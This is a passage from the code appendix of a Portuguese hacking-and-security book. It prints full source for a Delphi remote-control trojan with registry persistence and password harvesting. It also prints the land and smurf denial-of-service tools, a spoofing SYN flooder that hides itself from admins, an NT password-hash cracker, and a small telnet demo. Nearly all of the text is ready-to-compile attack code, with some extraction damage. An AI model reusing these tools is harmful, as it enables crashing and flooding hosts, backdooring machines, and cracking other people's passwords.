StrPCopy (TPC, extract (gotstr, 4, Length (gotstr))); PlaySound (TPC, 1); FreeMem (TPC); end; if copy (gotstr, 1, 3)='{P}' then ShowPicture (extract (gotstr, 4, Length (gotstr))); if copy (gotstr, 1, 3)='{U}' then begin GetMem (TPC, Length (gotstr)-2); // Length without '{U}' header and +1 for #0 StrPCopy (TPC, extract (gotstr, 4, Length (gotstr))); ShellExecute (0, 'open', TPC, '', 'c:\', 1); FreeMem (TPC); end; if gotstr='Name user' then begin TM:=50; GetMem (TPC, 50); GetUserName (TPC, TM); Socket.SendText ('Current user: '+TPC); FreeMem (TPC); end; if gotstr='Logoff' then ExitWindowsEx (EWX_LOGOFF, TM); if gotstr='Shutdown' then ExitWindowsEx (EWX_SHUTDOWN, TM);

58

CENTRO ATLÂNTICO – COLECÇÃO TECNOLOGIAS if gotstr='ReBOOT' then ExitWindowsEx (EWX_REBOOT, TM); if gotstr='PowerOFF' then ExitWindowsEx (EWX_POWEROFF, TM); if gotstr='DOWN' then begin PTimer.Enabled:=false; Socket.SendText ('Timer off.'); end; if gotstr='UP' then begin PTimer.Enabled:=true; Socket.SendText ('Timer on.'); end; if copy (gotstr, 1, 7)='setport' then begin Socket.SendText ('New port: '+extract(gotstr, 8, Length(gotstr))); ServerSocket.Close; ServerSocket.Port:=strtoint (extract(gotstr, 8, Length(gotstr)) ); RG:=TRegistry.Create; RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\General\Settings', TRUE); RG.WriteInteger ('APPID', ServerSocket.Port); RG.Destroy; ServerSocket.Active:= True; end; if gotstr='Old me show?' then begin PTimer.Enabled:=false; RG:=TRegistry.Create; RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\General\', TRUE); if RG.ValueExists ('TCount') then begin RC:=RG.ReadInteger ('TCount'); socket.SendText ('{PLTS}'); for i:=1 to RC do socket.SendText (RG.ReadString (inttostr(i))+chr(13)+chr(10)); socket.SendText ('{FTPL}'+chr(13)+chr(10)); end; RG.Destroy; PTimer.Enabled:=true; end; if gotstr='RESETALL' then begin PTimer.Enabled:=false; RG:=TRegistry.Create; RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\General\', TRUE); if RG.ValueExists ('TCount') then begin PX:=RG.ReadInteger ('TCount'); RG.DeleteValue ('TCount'); for i:=1 to PX do RG.DeleteValue (inttostr(i)); end; RG.Destroy; PTimer.Enabled:=true; end; if gotstr='KillHER' then begin Socket.SendText ('Server killed!'); ServerSocket.Close; RG:=TRegistry.Create;


59

RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft', FALSE); RG.DeleteKey ('General'); RG.Destroy; RG:=TRegistry.Create; RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE); RG.DeleteValue ('Windll.exe'); RG.Destroy; Halt (0); end; if gotstr='HELP?' then begin Socket.SendText ('---HELP---'+WrapStr);Sleep(100); Socket.SendTex t ('KillHER - kill server'+WrapSt r);Sleep(100); Socket.SendTex t ('UP - switch password-lookin g timer on'+WrapStr);Sleep(100); Socket.SendTex t ('DOWN - off'+WrapStr); Sleep(100); Socket.SendTex t ('Logoff logoff user from windows'+WrapStr);Sleep(100); Socket.SendText ('Shutdown - shutdown windows'+WrapStr);Sleep(100); Socket.SendText ('ReBOOT - reboot PC'+WrapStr);Sleep(100); Socket.SendText ('PowerOFF - power off ;)'+WrapStr);Sleep(100); Socket.SendText ('Name user - displays username'+WrapStr);Sleep(100); Socket.SendText ('TEST? - tests server'+WrapStr);Sleep(100); Socket.SendText ('time - displays time'+WrapStr);Sleep(100); Socket.SendText ('ver - displays server version'+WrapStr);Sleep(100); Socket.SendText ('----------'+WrapStr);Sleep(100); end; end; // if not sendfile end; // if not recfile end; procedure TServerForm.FormClose(Sender: TObject; var Action: TCloseAction); var RG: TRegistry; begin RG:=TRegistry.Create; RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE); RG.WriteString ('Windll.exe', SD+'Windll.exe'); RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('\SOFTWARE\Microsoft\General\Settings', FALSE); RG.WriteInteger ('APPID', ServerSocket.Port); RG.Destroy; end; procedure TServerForm.PTimerTimer(Sender: TObject); begin RegistryPasswords; end; end.


60 Página 221

Option Explicit 'This is a simple TELNET server supporting only one user and one comnection at a time. 'Program can be enhanced for multiple user and for multiple users at a time. '***************************************** 'Server side setup 'To start the DEMO. Open up your visual Basic 5.0 with the default project(standard exe project) 'Place a winsock control. By default it will be named Winsock1. 'Then paste this piece of code into the form1's code section. 'Run the project. '***************************************** '***************************************** 'ClientSide Setup 'You can use the same machine or go to the other machine to test your server 'Go to the RUN prompt of your windows type telnet 'In the telnet's Connect menu option select Remote System... 'Now enter the ip address of the computer where your telnet server (demo application) is running in the Host Name option 'Enter 23 or default value in the Host edit box 'Press Enter 'Yes, there comes your login screen. '***************************************** '***************************************** 'Any more clarification you can contact me at [email protected] '***************************************** 'API Declaration Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 'Form level variables Dim Dim Dim Dim Dim

UserID As String 'Store the UserID Password As String 'Store the Password AcceptedId As Boolean 'Toggle betwen the accepting of UserID or Password SuccessLoging As Boolean 'User logged in Successfully UserCommand As String 'Command issued by the user

Private Sub Form_Load() 'Initialisation routine Winsock1.LocalPort = 23 'Set the telnet port Winsock1.Listen 'Set the server to listen for a client request UserID = "" Password = "" UserCommand = "" AcceptedId = False SuccessLoging = False End Sub Private Sub Winsock1_Close() 'When user wants to close the telnet connection Winsock1.Close 'Close the telnet port Winsock1.LocalPort = 23 Winsock1.Listen 'Listen for the new user 'Initialisation of the telnet server variables UserID = "" Password = "" UserCommand = "" AcceptedId = False


61

SuccessLoging = False End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'User wants to connect to the server If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestID 'Send him the accepted message and ask him to logon to the server Winsock1.SendData "Enter LoginID for Sanjeev's Server: " End Sub Private Dim Dim Dim Dim Dim

Sub Winsock1_DataArrival(ByVal bytesTotal As Long) str1 As String MyName As String DirList() As String DirPointer As Integer ii As Integer

'User sending some information Winsock1.GetData str1 'Receive the input from the client If SuccessLoging Then 'Check whether user had already had logged in OR not. If Asc(str1) = 13 Then If UserCommand Like "dir*[\]" Then 'Processing the dir command issued by the user 'Valied command will be for eg. dir c:\ Winsock1.SendData vbCrLf UserCommand = Mid$(UserCommand, 4, Len(UserCommand) - 3) DirPointer = 1 UserCommand = Trim(UserCommand) 'Routine to get the current directory listing MyName = Dir(UserCommand, vbDirectory) Do While MyName <> "" If MyName <> "." And MyName <> ".." Then If (GetAttr(UserCommand & MyName) And vbDirectory) = vbDirectory Then ReDim Preserve DirList(1 To DirPointer) DirList(DirPointer) = MyName DirPointer = DirPointer + 1 End If ' it represents a directory. End If MyName = Dir ' Get next entry. Loop For ii = 1 To DirPointer - 1 Winsock1.SendData DirList(ii) & vbCrLf Next Winsock1.SendData "Sanjeev>" 'Display the prompt UserCommand = "" ElseIf Trim(UserCommand) Like "exit" Then 'User wants to terminate the session Winsock1_Close UserCommand = "" ElseIf Trim(UserCommand) Like "help" Then 'User requested for the set of commands supported by the server Winsock1.SendData vbCrLf & "List of Commands supported by this server" & vbCrLf Winsock1.SendData "Dir --- to get the list of the directory." & vbCrLf Winsock1.SendD ata "exit --- to quit logout f rom the server." & vbCrLf Winsock1.SendData "time -- to get the time of the server." & vbCrLf Winsock1.SendData "help -- to get the list of commands supported by the server." & vbCrLf Winsock1.SendData "Sanjeev>"

62

CENTRO ATLÂNTICO – COLECÇÃO TECNOLOGIAS UserCommand = "" ElseIf Trim(UserCommand) Like "time" Then 'Send the user server's current time Winsock1.SendData vbCrLf & Time & vbCrLf Winsock1.SendData "Sanjeev>" UserCommand = "" Else 'Its an invalied command or command not suported by the telnet

server Winsock1.SendData vbCrLf & "Invalied Command" & vbCrLf & "For list of commands use help command" & vbCrLf UserCommand = "" Winsock1.SendData "Sanjeev>" End If Else Winsock1.SendData str1 UserCommand = UserCommand & str1 End If Else 'Get the user authentication If AcceptedId And Asc(str1) = 13 Then Winsock1.SendData vbCrLf & "Verifying your login information...." & vbCrLf If UserID = "sanjeev" And Password = "siri" Then Sleep (2000) Winsock1.SendData "Welcome Mr.Sanjeev Sirigere" & vbCrLf & "Sanjeev>" SuccessLoging = True Else AcceptedId = False UserID = "" Password = "" Winsock1.SendData "Enter LoginID: " Exit Sub End If ElseIf Asc(str1) = 13 Then Winsock1.SendData str1 & vbCrLf & "Enter Password:" AcceptedId = True Exit Sub ElseIf Not AcceptedId Then Winsock1.SendData str1 End If If AcceptedId Then Password = Password & str1 Else UserID = UserID & str1 End If End If End Sub


63

Página 228

/* land.c by m3lt, FLC crashes a win95 box */ #include #include #include #include #include #include #include #include #include struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; fprintf(stderr,"land.c by m3lt, FLC\n"); if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy( hoste->h_addr,&sin.sin_addr, hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)


64

{ fprintf(stderr,"unknown return(-1);

host

%s\n",argv[1]);

} if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet\n"); return(-1); } fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); close(sock); return(0); }


#include #include #include #include #include #include #include #include #include #include #include #include #include

void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned short in_chksum(u_short *, int); /* stamp */ char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $"; int main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolving source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; }

65


66

bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } void banner (void) { puts("\nsmurf.c v4.0 by TFreak\n"); } void usage (char *prog) { fprintf(stderr, "usage: %s " " \n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0;

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet);

/* free willy! */

} void ctrlc (int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); }

67


68 Página 237

/* Syn Flooder by Zakath * TCP Functions by trurl_ (thanks man). * Some more code by Zakath. * Speed/Misc Tweaks/Enhancments -- ultima * Nice Interface -- ultima * Random IP Spoofing Mode -- ultima * How To Use: * Usage is simple. srcaddr is the IP the packets will be spoofed from. * dstaddr is the target machine you are sending the packets to. * low and high ports are the ports you want to send the packets to. * Random IP Spoofing Mode: Instead of typing in a source address, * just use '0'. This will engage the Random IP Spoofing mode, and * the source address will be a random IP instead of a fixed ip. * Released: [4.29.97] * To compile: cc -o synk4 synk4.c * */ #include #include #include #include #include #include #include #include /* These can be handy if you want to run the flooder while the admin is on * this way, it makes it MUCH harder for him to kill your flooder */ /* Ignores all signals except Segfault */ // #define HEALTHY /* Ignores Segfault */ // #define NOSEGV /* Changes what shows up in ps -aux to whatever this is defined to */ // #define HIDDEN "vi .cshrc" #define SEQ 0x28376839 #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) unsigned long send_seq, ack_seq, srcport; char flood = 0; int sock, ssock, curc, cnt; /* Check Sum */ unsigned short ip_sum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA sum += (sum >> 16); answer = ~sum; return (answer);

69

/* add carry */ /* truncate to 16 bits */

} void sig_exit(int crap) { #ifndef HEALTHY printf("_[H_[JSignal Caught. Exiting Cleanly.\n"); exit(crap); #endif } void sig_segv(int crap) { #ifndef NOSEGV printf("_[H_[JSegmentation Violation Caught. Exiting Cleanly.\n"); exit(crap); #endif } unsigned long getaddr(char *name) { struct hostent *hep; hep=gethostbyname(name); if(!hep) { fprintf(stderr, "Unknown host %s\n", name); exit(1); } return *(unsigned long *)hep->h_addr; }

void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) { char buf[65536]; struct { /* rfc 793 tcp pseudo-header */ unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; } ph; struct sockaddr_ in sin; /* how necessary is this, g iven that the destinat ion address is already in the ip header? */ ph.saddr=ih->saddr; ph.daddr=ih->daddr; ph.mbz=0; ph.ptcl=IPPROTO_TCP; ph.tcpl=htons(sizeof(*th)+dlen); memcpy(buf, &ph, sizeof(ph)); memcpy(buf+sizeof(ph), th, sizeof(*th)); memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen); memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4); th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1); memcpy(buf, ih, 4*ih->ihl); memcpy(buf+4*ih->ihl, th, sizeof(*th)); memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen); memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4); ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1); memcpy(buf, ih, 4*ih->ihl); sin.sin_family=AF_INET; sin.sin_port=th->dest;


70

sin.sin_addr.s_addr=ih->daddr; if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ sizeof(sin))<0) { printf("Error sending syn packet.\n"); perror(""); exit(1); } }

dlen,

unsigned long spoof_open(unsigned short port) { int i, s; struct iphdr ih; struct tcphdr th; struct sockaddr_in sin; int sinsize; unsigned short myport=6969; char buf[1024]; struct timeval tv;

their_ip,

long

my_ip,

unsigned

ih.version=4; ih.ihl=5; ih.tos=0; /* XXX is this normal? */ ih.tot_len=sizeof(ih)+sizeof(th); ih.id=htons(random()); ih.frag_off=0; ih.ttl=30; ih.protocol=IPPROTO_TCP; ih.check=0; ih.saddr=my_ip; ih.daddr=their_ip; th.source=htons(srcport); th.dest=htons(port); th.seq=htonl(SEQ); th.doff=sizeof(th)/4; th.ack_seq=0; th.res1=0; th.fin=0; th.syn=1; th.rst=0; th.psh=0; th.ack=0; th.urg=0; th.res2=0; th.window=htons(65535); th.check=0; th.urg_ptr=0; gettimeofday(&tv, 0); send_tcp_segment(&ih, &th, "", 0); send_seq = SEQ+1+strlen(buf); } void upsc() { int i; char schar; switch(cnt) { case 0: { schar = '|'; break;

long

0,

&sin,

unsigned

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA } case 1: { schar = '/'; break; } case 2: { schar = '-'; break; } case 3: { schar = '\\'; break; } case 4: { schar = '|'; cnt = 0; break; } } printf("_[H_[1;30m[_[1;31m%c_[1;30m]_[0m %d", schar, curc); cnt++; for(i=0; i<26; i++) { i++; curc++; } } void init_signals() { // Every Signal known to man. If one gives you an error, comment it out! signal(SIGHUP, sig_exit); signal(SIGINT, sig_exit); signal(SIGQUIT, sig_exit); signal(SIGILL, sig_exit); signal(SIGTRAP, sig_exit); signal(SIGIOT, sig_exit); signal(SIGBUS, sig_exit); signal(SIGFPE, sig_exit); signal(SIGKILL, sig_exit); signal(SIGUSR1, sig_exit); signal(SIGSEGV, sig_segv); signal(SIGUSR2, sig_exit); signal(SIGPIPE, sig_exit); signal(SIGALRM, sig_exit); signal(SIGTERM, sig_exit); signal(SIGCHLD, sig_exit); signal(SIGCONT, sig_exit); signal(SIGSTOP, sig_exit); signal(SIGTSTP, sig_exit); signal(SIGTTIN, sig_exit); signal(SIGTTOU, sig_exit); signal(SIGURG, sig_exit); signal(SIGXCPU, sig_exit); signal(SIGXFSZ, sig_exit); signal(SIGVTALRM, sig_exit); signal(SIGPROF, sig_exit); signal(SIGWINCH, sig_exit); signal(SIGIO, sig_exit); signal(SIGPWR, sig_exit); } main(int argc, char **argv) { int i, x, max, floodloop, diff, urip, a, b, c, d;

71


72

unsigned long them, me_fake; unsigned lowport, highport; char buf[1024], *junk; init_signals(); #ifdef HIDDEN for (i = argc-1; i >= 0; i--) /* Some people like bzero...i prefer memset:) */ memset(argv[i], 0, strlen(argv[i])); strcpy(argv[0], HIDDEN); #endif if(argc<5) { printf("Usage: %s srcaddr dstaddr low high\n", argv[0]); printf(" If srcaddr is 0, random addresses will be used\n\n\n"); exit(1); } if( atoi(argv[1]) == 0 ) urip = 1; else me_fake=getaddr(argv[1]); them=getaddr(argv[2]); lowport=atoi(argv[3]); highport=atoi(argv[4]); srandom(time(0)); ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(ssock<0) { perror("socket (raw)"); exit(1); } sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sock<0) { perror("socket"); exit(1); } junk = (char *)malloc(1024); max = 1500; i = 1; diff = (highport - lowport); if (diff > -1) { printf("_[H_[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, Regents of the University\n of California. All Rights Reserved."); for (i=1;i>0;i++) { srandom((time(0)+i)); srcport = getrandom(1, max)+1000; for (x=lowport;x<=highport;x++) { if ( urip == 1 ) { a = getrandom(0, 255); b = getrandom(0, 255); c = getrandom(0, 255); d = getrandom(0, 255); sprintf(junk, "%i.%i.%i.%i", a, b, c, d); me_fake = getaddr(junk); } spoof_open(/*0xe1e26d0a*/ me_fake, them, x); /* A fair delay. Good for a 28.8 connection */ usleep(300);

1991

The

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA if (!(floodloop = (floodloop+1)%(diff+1))) { upsc(); fflush(stdout); } } } } else { printf("High port must be greater than Low port.\n"); exit(1); } }

73


74 Página 276

<++> NTPWC/ntpwc.c /* * (C) Nihil All rights reserved. A Guild Production. #include #include #include #include

#include "byteorder.h" #include "md4.h" #define TRUE 1 #define FALSE 0 #define HASHSIZE 16 #define MAX_PASSWORD_LENGTH 14

#define #define #define #define

uchar unsigned char int16 unsigned short uint16 unsigned short uint32 unsigned int

typedef struct _USER_INFO { char* username; unsigned long ntpassword[4]; }USER_INFO, *PUSER_INFO; typedef struct _UNICODE_STRING { int16* buffer; unsigned long length; }UNICODE_STRING, *PUNICODE_STRING;

static int _my_mbstowcs(int16*, uchar*, int); static int _my_wcslen(int16*);

void Cleanup(void); int ParsePWEntry(char*, PUSER_INFO); char pPWEntry[258]; char pDictEntry[129]; MDstruct MDContext;

int main(int argc,char *argv[]) { FILE *hToCrack, *hDictionary; PUSER_INFO pUserInfo; PUNICODE_STRING pUnicodeDictEntry; int i; unsigned int uiLength;

atexit(Cleanup);


75

if (argc != 3) { printf("\nUsage: %s \n", argv[0]); exit(0); } /* open password file */ hToCrack = fopen(argv[1], "r"); if (hToCrack == NULL) { fprintf(stderr,"Unable to open password file\n"); exit(-1); }

hDictionary = fopen(argv[2], "r"); if (hDictionary == NULL) { fprintf(stderr,"Unable to open dictionary file\n"); exit(-1); }

pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO)); if (pUserInfo == NULL) { fprintf(stderr,"Unable to allocate memory for user info structure\n"); exit(-1); }

pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING)); if (pUnicodeDictEntry == NULL) { fprintf(stderr,"Unable to allocate memory for unicode conversion\n"); free(pUserInfo); exit(-1); } printf("\nCrack4NT is running...\n"); while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack)) { if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE) { continue; } if (fseek(hDictionary, 0, SEEK_SET)) { fprintf(stderr,"Unable to reset file pointer in dictionary\n"); memset(pUserInfo->ntpassword, 0, HASHSIZE); free(pUserInfo); free(pUnicodeDictEntry); exit(-1); } while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary)) { if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n') { pDictEntry[(strlen(pDictEntry) - 1)] = '\0'; }


76

uiLength = strlen((char *)pDictEntry); if(uiLength > MAX_PASSWORD_LENGTH) uiLength = MAX_PASSWORD_LENGTH; pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16); pUnicodeDictEntry->buffer

=

(int16*)malloc(pUnicodeDictEntry-

>length); if (pUnicodeDictEntry->buffer == NULL) { fprintf(stderr,"Unable to allocate

space

for

unicode

string\n"); exit(-1); } _my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength); pUnicodeDictEntry->buffer[uiLength] = 0; uiLength

=

_my_wcslen(pUnicodeDictEntry->buffer)

*

sizeof(int16); MDbegin(&MDContext); for(i = 0; i + 64 <= (signed)uiLength; i+= 64) MDupdate(&MDContext,pUnicodeDictEntry->buff MDupdate(&MDContext,p UnicodeDictEntry->buffer er + (i/2), 512);

MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLengthi)*8);

if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0) { printf("Password

for

user

%s

is

%s\n",

pUserInfo-

>username, \ pDictEntry); /* we are done with the password entry só free it */ free(pUnicodeDictEntry->buffer); break; } free(pUnicodeDictEntry->buffer); } } /* cleanup a bunch */ free(pUserInfo->username); memset(pUserInfo->ntpassword, 0, HASHSIZE); free(pUserInfo); free(pUnicodeDictEntry); /* everything is great */ printf("Crack4NT is finished\n"); return 0; } void Cleanup() { memset(pPWEntry, 0, 258); memset(pDictEntry, 0, 129); memset(&MDContext.buffer, 0, HASHSIZE); }

int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)


77

{ int HexToBin(char*, uchar*, int); char pDelimiter[] = ":"; char* pTemp; char pNoPW[] = "NO PASSWORD*********************"; char pDisabled[] = "********************************"; /* check args */ if (pPWEntry == NULL || pUserInfo == NULL) { return FALSE; } pTemp = strtok(pPWEntry, pDelimiter); if (pTemp == NULL) { return FALSE; } pUserInfo->username = (char*)malloc(strlen(pTemp) + 1); if (pUserInfo->username == NULL) { fprintf(stderr,"Unable to allocate memory for user name\n"); return FALSE; } strcpy(pUserInfo->username, pTemp); strtok(NULL, pDelimiter); strtok(NULL, pDelimiter); pTemp = strtok(NULL, pDelimiter); if (pTemp == NULL) { free(pUserInfo->username); return FALSE; } if (strlen(pTemp) != 32) { free(pUserInfo->username); return FALSE; } if (strcmp(pTemp, pNoPW) == 0) { printf("User %s has no password\n", pUserInfo->username); return FALSE; } if (strcmp(pTemp, pDisabled) == 0) { printf("User %s is disabled most likely\n", pUserInfo->username); return FALSE; } if FALSE) {

(HexToBin((unsigned

char*)pTemp,

free(pUserInfo->username); return FALSE; } memset(pTemp, 0, 32);

(uchar*)pUserInfo->ntpassword,16)

==


78

return TRUE; }

int HexToBin(char* pHexString, uchar* pByteString, int count) { int i, j; if (pHexString == NULL || pByteString == NULL) { fprintf(stderr,"A NULL pointer was passed to HexToBin()\n"); return FALSE; } memset(pByteString, 0, count); for (i = 0, j = 0; i < (count * 2); i++) { switch (*(pHexString + i)) { case '0': pByteString[j] ^= 0x00; break; case '1': pByteString[j] ^= 0x01; break; case '2': pByteString[j] ^= 0x02; break; case '3': pByteString[j] ^= 0x03; break; case '4': pByteString[j] ^= 0x04; break; case '5': pByteString[j] ^= 0x05; break; case '6': pByteString[j] ^= 0x06; break; case '7': pByteString[j] ^= 0x07; break; case '8': pByteString[j] ^= 0x08; break; case '9': pByteString[j] ^= 0x09; break; case 'a': case 'A': pByteString[j] ^= 0x0A; break; case 'b': case 'B': pByteString[j] ^= 0x0B; break; case 'c': case 'C': pByteString[j] ^= 0x0C; break; case 'd': case 'D': pByteString[j] ^= 0x0D;


79

break; case 'e': case 'E': pByteString[j] ^= 0x0E; break; case 'f': case 'F': pByteString[j] ^= 0x0F; break; default: fprintf(stderr,"invalid character in NT MD4 string\n"); return FALSE; } if (i%2) { j ++; } if ((i%2) == 0) { pByteString[j] <<= 4; } } return TRUE; }

static int _my_wcslen(int16 *str) { int len = 0; while(*str++ != 0) len++; return len; } static int _my_mbstowcs(int16 *dst, uchar *src, int len) { int i; int16 val; for(i = 0; i < len; i++) { val = *src; SSVAL(dst,0,val); dst++; src++; if(val == 0) break; } return i; } <--> NTPWC/ntpwc.c EOF


80 Página 316

Public Public Const Const Const Const Const Const

